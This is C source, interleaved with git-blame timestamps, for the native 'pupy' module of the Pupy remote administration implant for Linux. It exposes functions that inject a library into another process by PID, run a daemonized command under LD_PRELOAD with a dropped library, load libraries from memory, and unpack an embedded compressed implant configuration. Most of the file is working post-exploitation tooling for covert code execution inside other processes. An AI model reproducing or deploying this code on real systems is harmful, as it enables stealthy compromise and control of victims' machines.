2016-08-22 22:53:26 +00:00
/*
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
*/
2016-08-23 16:48:10 +00:00
# include <stdlib.h>
2016-08-22 22:53:26 +00:00
# include <stdint.h>
# include <stdio.h>
2016-08-24 06:49:14 +00:00
# include <sys/wait.h>
2016-08-23 16:48:10 +00:00
# include "debug.h"
2016-08-22 22:53:26 +00:00
# include "Python-dynload.h"
2016-08-23 16:48:10 +00:00
# include "daemonize.h"
2016-11-26 09:20:33 +00:00
# include <arpa/inet.h>
# include "tmplibrary.h"
2016-11-29 16:53:39 +00:00
# include "resources_library_compressed_string_txt.c"
2016-08-23 16:48:10 +00:00
int linux_inject_main ( int argc , char * * argv ) ;
2016-11-29 16:53:39 +00:00
static const char module_doc [ ] = " Builtins utilities for pupy " ;
2016-08-22 22:53:26 +00:00
2016-11-29 16:53:39 +00:00
static const char pupy_config [ 8192 ] = " ####---PUPY_CONFIG_COMES_HERE---#### \n " ;
2016-11-26 09:20:33 +00:00
2016-08-22 22:53:26 +00:00
extern const uint32_t dwPupyArch ;
2016-11-26 09:20:33 +00:00
2016-11-29 16:53:39 +00:00
# include "lzmaunpack.c"
2016-11-26 09:20:33 +00:00
static PyObject * Py_get_modules ( PyObject * self , PyObject * args )
2016-08-22 22:53:26 +00:00
{
2016-11-29 16:53:39 +00:00
return PyObject_lzmaunpack (
resources_library_compressed_string_txt_start ,
resources_library_compressed_string_txt_size
2016-11-26 09:20:33 +00:00
) ;
2016-08-22 22:53:26 +00:00
}
static PyObject *
Py_get_pupy_config ( PyObject * self , PyObject * args )
{
2016-11-29 16:53:39 +00:00
size_t compressed_size = ntohl (
* ( ( unsigned int * ) pupy_config )
) ;
return PyObject_lzmaunpack ( pupy_config + sizeof ( int ) , compressed_size ) ;
2016-08-22 22:53:26 +00:00
}
static PyObject * Py_get_arch ( PyObject * self , PyObject * args )
{
if ( dwPupyArch = = 32 ) {
return Py_BuildValue ( " s " , " x86 " ) ;
}
else if ( dwPupyArch = = 64 ) {
return Py_BuildValue ( " s " , " x64 " ) ;
}
return Py_BuildValue ( " s " , " unknown " ) ;
}
2016-08-23 16:48:10 +00:00
static PyObject * Py_ld_preload_inject_dll ( PyObject * self , PyObject * args )
{
const char * lpCmdBuffer ;
const char * lpDllBuffer ;
uint32_t dwDllLenght ;
PyObject * py_HookExit ;
if ( ! PyArg_ParseTuple ( args , " zs#O " , & lpCmdBuffer , & lpDllBuffer , & dwDllLenght , & py_HookExit ) )
return NULL ;
char ldobject [ PATH_MAX ] = { } ;
if ( ! drop_library ( ldobject , PATH_MAX , lpDllBuffer , dwDllLenght ) ) {
dprint ( " Couldn't drop library: %m \n " ) ;
return NULL ;
}
char cmdline [ PATH_MAX * 2 ] = { } ;
snprintf (
cmdline , sizeof ( cmdline ) , " LD_PRELOAD=%s HOOK_EXIT=%d CLEANUP=1 exec %s " ,
ldobject ,
PyObject_IsTrue ( py_HookExit ) ,
lpCmdBuffer ,
ldobject
) ;
dprint ( " Program to execute in child context: %s \n " , cmdline ) ;
pid_t pid = daemonize ( false ) ;
if ( pid = = 0 ) {
/* Daemonized context */
execl ( " /bin/sh " , " /bin/sh " , " -c " , cmdline , NULL ) ;
unlink ( ldobject ) ;
exit ( 255 ) ;
}
if ( pid = = - 1 ) {
dprint ( " Couldn \' t daemonize: %m \n " ) ;
unlink ( ldobject ) ;
return PyInt_FromLong ( - 1 ) ;
}
return PyInt_FromLong ( pid ) ;
}
2016-08-22 22:53:26 +00:00
static PyObject * Py_reflective_inject_dll ( PyObject * self , PyObject * args )
{
uint32_t dwPid ;
const char * lpDllBuffer ;
uint32_t dwDllLenght ;
const char * cpCommandLine ;
PyObject * py_is64bit ;
int is64bits ;
if ( ! PyArg_ParseTuple ( args , " Is#O " , & dwPid , & lpDllBuffer , & dwDllLenght , & py_is64bit ) )
return NULL ;
2016-08-23 16:48:10 +00:00
dprint ( " Injection requested. PID: %d \n " , dwPid ) ;
2016-08-22 22:53:26 +00:00
is64bits = PyObject_IsTrue ( py_is64bit ) ;
if ( is64bits ) {
is64bits = 64 ;
} else {
is64bits = 32 ;
}
2016-08-23 16:48:10 +00:00
char buf [ PATH_MAX ] = { } ;
if ( ! drop_library ( buf , PATH_MAX , lpDllBuffer , dwDllLenght ) ) {
dprint ( " Couldn't drop library: %m \n " ) ;
return NULL ;
}
char pid [ 20 ] = { } ;
snprintf ( pid , sizeof ( pid ) , " %d " , dwPid ) ;
char * linux_inject_argv [ ] = {
" linux-inject " , " -p " , pid , buf , NULL
} ;
pid_t injpid = fork ( ) ;
if ( injpid = = - 1 ) {
dprint ( " Couldn't fork \n " ) ;
unlink ( buf ) ;
return PyBool_FromLong ( 1 ) ;
}
int status ;
if ( injpid = = 0 ) {
int r = linux_inject_main ( 4 , linux_inject_argv ) ;
exit ( r ) ;
} else {
waitpid ( injpid , & status , 0 ) ;
}
unlink ( buf ) ;
if ( WEXITSTATUS ( status ) = = 0 ) {
return PyBool_FromLong ( 1 ) ;
} else {
dprint ( " Injection failed \n " ) ;
return PyBool_FromLong ( 0 ) ;
}
2016-08-22 22:53:26 +00:00
}
static PyObject * Py_load_dll ( PyObject * self , PyObject * args )
{
uint32_t dwPid ;
const char * lpDllBuffer ;
uint32_t dwDllLenght ;
const char * dllname ;
if ( ! PyArg_ParseTuple ( args , " ss# " , & dllname , & lpDllBuffer , & dwDllLenght ) )
return NULL ;
printf ( " Py_load_dll(%s) \n " , dllname ) ;
if ( memdlopen ( dllname , lpDllBuffer , dwDllLenght ) )
return PyBool_FromLong ( 1 ) ;
return PyBool_FromLong ( 0 ) ;
}
static PyMethodDef methods [ ] = {
{ " get_pupy_config " , Py_get_pupy_config , METH_NOARGS , " get_pupy_config() -> string " } ,
{ " get_arch " , Py_get_arch , METH_NOARGS , " get current pupy architecture (x86 or x64) " } ,
2016-11-26 09:20:33 +00:00
{ " get_modules " , Py_get_modules , METH_NOARGS , " get pupy library " } ,
2016-08-22 22:53:26 +00:00
{ " reflective_inject_dll " , Py_reflective_inject_dll , METH_VARARGS | METH_KEYWORDS , " reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits) \n reflectively inject a dll into a process. raise an Exception on failure " } ,
{ " load_dll " , Py_load_dll , METH_VARARGS , " load_dll(dllname, raw_dll) -> bool " } ,
2016-08-23 16:48:10 +00:00
{ " ld_preload_inject_dll " , Py_ld_preload_inject_dll , METH_VARARGS , " ld_preload_inject_dll(cmdline, dll_buffer, hook_exit) -> pid " } ,
2016-08-22 22:53:26 +00:00
{ NULL , NULL } , /* Sentinel */
} ;
DL_EXPORT ( void )
initpupy ( void )
{
Py_InitModule3 ( " pupy " , methods , module_doc ) ;
}